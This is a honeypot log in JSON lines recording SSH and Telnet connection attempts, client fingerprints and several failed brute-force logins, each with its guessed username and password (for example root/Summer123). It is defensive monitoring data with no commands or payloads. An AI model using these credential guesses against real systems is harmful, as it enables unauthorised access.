{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:30.774122Z","src_ip":"79.117.24.180","session":"5a896e78a7c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:30.801738Z","src_ip":"87.251.64.176","session":"10dfe24b6e7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:30.892878Z","src_ip":"79.117.24.180","session":"5a896e78a7c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":98.56226253509521,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:30.942521Z","src_ip":"152.42.224.71","session":"0a99e45d59f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.73476195335388,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:31.367073Z","src_ip":"152.42.224.71","session":"e1520fcbfb13","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"studio","message":"login attempt [root/studio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:31.391327Z","src_ip":"79.117.24.180","session":"5a896e78a7c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":50988,"dst_ip":"10.17.0.5","dst_port":22,"session":"d44261176ea6","protocol":"ssh","message":"New connection: 43.134.142.250:50988 (10.17.0.5:22) [session: d44261176ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:31.909586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:31.914069Z","src_ip":"43.134.142.250","session":"d44261176ea6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:32.152225Z","src_ip":"43.134.142.250","session":"d44261176ea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:32.510665Z","src_ip":"79.117.24.180","session":"5a896e78a7c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Summer123","message":"login attempt [root/Summer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:33.136309Z","src_ip":"43.134.142.250","session":"d44261176ea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:34.378203Z","src_ip":"43.134.142.250","session":"d44261176ea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":113.24011373519897,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:38.837124Z","src_ip":"152.42.224.71","session":"45c20577ea79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52688,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e6b21f4c18b","protocol":"telnet","message":"New connection: 152.42.224.71:52688 (10.17.0.5:23) [session: 7e6b21f4c18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:39.629232Z"}
{"eventid":"cowrie.session.closed","duration":46.09591841697693,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:42.963723Z","src_ip":"152.42.224.71","session":"4aba0190f0ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":42080,"dst_ip":"10.17.0.5","dst_port":22,"session":"69ceb91bc0e2","protocol":"ssh","message":"New connection: 103.183.114.55:42080 (10.17.0.5:22) [session: 69ceb91bc0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:43.573454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:43.577635Z","src_ip":"103.183.114.55","session":"69ceb91bc0e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:43.802319Z","src_ip":"103.183.114.55","session":"69ceb91bc0e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567s","message":"login attempt [root/1234567s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:44.478326Z","src_ip":"103.183.114.55","session":"69ceb91bc0e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.21528887748718,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:45.522610Z","src_ip":"152.42.224.71","session":"f78c65dc188f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:45.706319Z","src_ip":"103.183.114.55","session":"69ceb91bc0e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.993029832839966,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:49.302686Z","src_ip":"152.42.224.71","session":"532c59820f59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.298564434051514,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:51.514288Z","src_ip":"152.42.224.71","session":"e81d7251e4cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.729440450668335,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:52.358538Z","src_ip":"152.42.224.71","session":"7e6b21f4c18b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":53996,"dst_ip":"10.17.0.5","dst_port":22,"session":"bab8253644bd","protocol":"ssh","message":"New connection: 103.27.238.120:53996 (10.17.0.5:22) [session: bab8253644bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:53.179436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:53.183914Z","src_ip":"103.27.238.120","session":"bab8253644bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:53.442187Z","src_ip":"103.27.238.120","session":"bab8253644bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rrrrrr","message":"login attempt [root/rrrrrr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:54.214987Z","src_ip":"103.27.238.120","session":"bab8253644bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39500,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7e0899f2100","protocol":"telnet","message":"New connection: 152.42.224.71:39500 (10.17.0.5:23) [session: b7e0899f2100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:54.798646Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:55.474995Z","src_ip":"103.27.238.120","session":"bab8253644bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.493927001953125,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:55.945475Z","src_ip":"152.42.224.71","session":"c82405062a36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":37554,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4594bfb71c2","protocol":"ssh","message":"New connection: 77.94.47.83:37554 (159.203.135.109:22) [session: c4594bfb71c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:57.527244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:57.532012Z","src_ip":"77.94.47.83","session":"c4594bfb71c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:57.683837Z","src_ip":"77.94.47.83","session":"c4594bfb71c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8123123","message":"login attempt [root/8123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:58.056683Z","src_ip":"77.94.47.83","session":"c4594bfb71c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:38:59.185255Z","src_ip":"77.94.47.83","session":"c4594bfb71c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":73.693026304245,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:04.441924Z","src_ip":"152.42.224.71","session":"427b35f4518d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.529874563217163,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:05.328383Z","src_ip":"152.42.224.71","session":"b7e0899f2100","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":41670,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa6f44d4a282","protocol":"ssh","message":"New connection: 103.27.238.116:41670 (10.17.0.5:22) [session: aa6f44d4a282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:05.480217Z"}
{"eventid":"cowrie.session.closed","duration":37.64012885093689,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:05.487846Z","src_ip":"152.42.224.71","session":"e99b51708314","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:05.491753Z","src_ip":"103.27.238.116","session":"aa6f44d4a282","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:05.770913Z","src_ip":"103.27.238.116","session":"aa6f44d4a282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48238,"dst_ip":"10.17.0.5","dst_port":23,"session":"afc61503a767","protocol":"telnet","message":"New connection: 152.42.224.71:48238 (10.17.0.5:23) [session: afc61503a767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:06.069048Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":52358,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a365ac9428f","protocol":"ssh","message":"New connection: 43.134.32.136:52358 (159.203.135.109:22) [session: 1a365ac9428f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:06.308055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:06.319202Z","src_ip":"43.134.32.136","session":"1a365ac9428f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:06.565132Z","src_ip":"43.134.32.136","session":"1a365ac9428f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rastaman","message":"login attempt [root/rastaman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:06.597831Z","src_ip":"103.27.238.116","session":"aa6f44d4a282","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.35325479507446,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:06.970941Z","src_ip":"152.42.224.71","session":"6ac4017f7b9e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"123456","message":"login attempt [tidb/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:07.578535Z","src_ip":"43.134.32.136","session":"1a365ac9428f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:07.874714Z","src_ip":"103.27.238.116","session":"aa6f44d4a282","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:39:08.826820Z","src_ip":"43.134.32.136","session":"1a365ac9428f","protocol":"ssh"}
